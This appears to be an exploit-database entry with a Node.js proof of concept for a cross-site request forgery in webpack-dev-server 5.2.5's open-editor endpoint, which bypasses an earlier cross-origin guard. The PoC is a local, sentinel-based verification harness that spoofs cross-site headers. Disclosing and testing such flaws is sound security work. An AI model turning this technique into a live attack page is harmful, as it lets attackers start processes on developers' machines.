# Exploit Title: webpack_devserver 5.2.5 - Csrf
# Date: 2026-07-17
# Exploit Author: Pig-Tail (Jorge González Milla)
# Vendor Homepage: https://github.com/webpack/webpack-dev-server
# Software Link: https://www.npmjs.com/package/webpack-dev-server
# Version: <= 5.2.5 (fixed 5.2.6)
# Tested on: Linux
# CVE: CVE-2026-14620
# Category: webapps
# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-14620-webpack-dev-server
GET /webpack-dev-server/open-editor?fileName= reaches launchEditor() from cross-site navigation and fetch(mode:cors); the CVE-2026-6402 guard only blocks no-cors subresources. Advisory: GHSA-f5vj-f2hx-8m93.
The PoC is a benign, local verification harness (sentinel-based; no network attack, no
persistence, no destructive payload). Run against a local instance of the affected version.
--- PoC (poc.js) ---
/*
* PoC — webpack-dev-server v5.2.5 open-editor cross-origin CSRF
*
* Demonstrates that GET /webpack-dev-server/open-editor?fileName=<path> reaches
* launchEditor(fileName) from a CROSS-ORIGIN context, bypassing the cross-origin
* guard added for CVE-2026-6402 / CVE-2025-30359.
*
* The guard (lib/Server.js:2039-2046) only blocks requests whose headers are
* BOTH `sec-fetch-mode: no-cors` AND `sec-fetch-site: cross-site` — i.e. the
* <script>/<img>/<link> subresource loads that the source-theft advisories were
* about. It does NOT block:
* - cross-site NAVIGATIONS (iframe / window.open / top-level) -> sec-fetch-mode: navigate
* - cross-site fetch(..., {mode:'cors'}) -> sec-fetch-mode: cors
* Both of those are exactly how a real malicious page reaches a state-changing
* GET endpoint, and both let launchEditor() spawn a process on the dev's machine
* with an attacker-chosen (existing) file path — INCLUDING paths outside the
* project root.
*
* Benign marker: a fake "editor" ($MARKER_FILE) records the argv it was launched
* with. No destructive action. Everything is local (127.0.0.1).
*/
"use strict";
const path = require("path");
const http = require("http");
const fs = require("fs");
const POC_DIR = __dirname;
// Point this at a local `webpack-dev-server` checkout at the affected version (v5.2.5).
// WDS_ROOT=/path/to/webpack-dev-server node poc.js
const WDS_ROOT = process.env.WDS_ROOT || path.resolve(POC_DIR, "webpack-dev-server");
const webpack = require(path.join(WDS_ROOT, "node_modules", "webpack"));
const Server = require(path.join(WDS_ROOT, "lib", "Server.js"));
const MARKER_FILE = path.join(POC_DIR, "marker.log");
const FAKE_EDITOR = path.join(POC_DIR, "fake-editor.sh");
// Attacker-chosen target: a file OUTSIDE the dev-server project root.
const ATTACKER_TARGET = path.join(POC_DIR, "outside", "secret.txt");
// Make launch-editor deterministically use our benign sentinel "editor".
process.env.LAUNCH_EDITOR = FAKE_EDITOR;
process.env.MARKER_FILE = MARKER_FILE;
try { fs.unlinkSync(MARKER_FILE); } catch {}
fs.chmodSync(FAKE_EDITOR, 0o755);
const HOST = "127.0.0.1";
function request(port, headers) {
return new Promise((resolve) => {
const url =
"/webpack-dev-server/open-editor?fileName=" +
encodeURIComponent(ATTACKER_TARGET);
const req = http.request(
{ host: HOST, port, path: url, method: "GET", headers },
(res) => {
let body = "";
res.on("data", (c) => (body += c));
res.on("end", () => resolve({ status: res.statusCode, body }));
}
);
req.on("error", (e) => resolve({ status: 0, body: String(e) }));
req.end();
});
}
function markerCount() {
try {
return fs
.readFileSync(MARKER_FILE, "utf8")
.split("\n")
.filter((l) => l.includes("LAUNCHED_WITH")).length;
} catch {
return 0;
}
}
async function waitMarker(prev, ms = 2500) {
const t0 = Date.now();
while (Date.now() - t0 < ms) {
if (markerCount() > prev) return true;
await new Promise((r) => setTimeout(r, 50));
}
return false;
}
(async () => {
const compiler = webpack({
mode: "development",
context: path.join(POC_DIR, "project"),
entry: "./src/index.js",
output: { path: path.join(POC_DIR, "project", "dist") },
});
// Default-ish config. allowedHosts defaults to "auto"; no special hardening.
const server = new Server({ host: HOST, port: 0 }, compiler);
await server.start();
const port = server.server.address().port;
console.log(`[*] dev server up on http://${HOST}:${port } (allowedHosts: auto, default)\n`);
const results = [];
// Vector A — cross-site NAVIGATION (iframe / window.open). Real browsers send these.
let prev = markerCount();
let rA = await request(port, {
Host: `localhost:${port}`,
Origin: " https://evil.example ",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "cross-site",
"Sec-Fetch-Dest": "iframe",
});
let firedA = await waitMarker(prev);
results.push(["A navigate (iframe) cross-site", rA.status, firedA]);
// Vector B — cross-site fetch(mode:'cors'). Response unreadable to attacker, side-effect still fires.
prev = markerCount();
let rB = await request(port, {
Host: `localhost:${port}`,
Origin: " https://evil.example ",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "cross-site",
"Sec-Fetch-Dest": "empty",
});
let firedB = await waitMarker(prev);
results.push(["B fetch{mode:cors} cross-site", rB.status, firedB]);
// Vector C — the ONLY combination the guard blocks: <img>/<script> no-cors subresource.
prev = markerCount();
let rC = await request(port, {
Host: `localhost:${port}`,
Origin: " https://evil.example ",
"Sec-Fetch-Mode": "no-cors",
"Sec-Fetch-Site": "cross-site",
"Sec-Fetch-Dest": "script",
});
let firedC = await waitMarker(prev, 1200);
results.push(["C no-cors (script/img) cross-site", rC.status, firedC]);
console.log("VECTOR HTTP launchEditor fired?");
for (const [name, status, fired] of results) {
console.log(
`${name.padEnd(38)} ${String(status).padEnd(5)} ${fired ? "YES <-- attacker reached launchEditor" : "no (blocked)"}`
);
}
console.log("\n--- marker.log (argv the spawned 'editor' received) ---");
try { process.stdout.write(fs.readFileSync(MARKER_FILE, "utf8")); } catch { console.log("(empty)"); }
const pass = results[0][2] === true && results[1][2] === true && results[2][2] === false;
console.log(
`\nRESULT: ${pass ? "CONFIRMED" : "NOT CONFIRMED"} — ` +
`cross-site navigation & cors-fetch reach launchEditor (open arbitrary existing file: ${ATTACKER_TARGET}); ` +
`only no-cors subresource is blocked.`
);
await server.stop();
process.exit(pass ? 0 : 1);
})().catch((e) => {
console.error("PoC error:", e);
process.exit(2);
});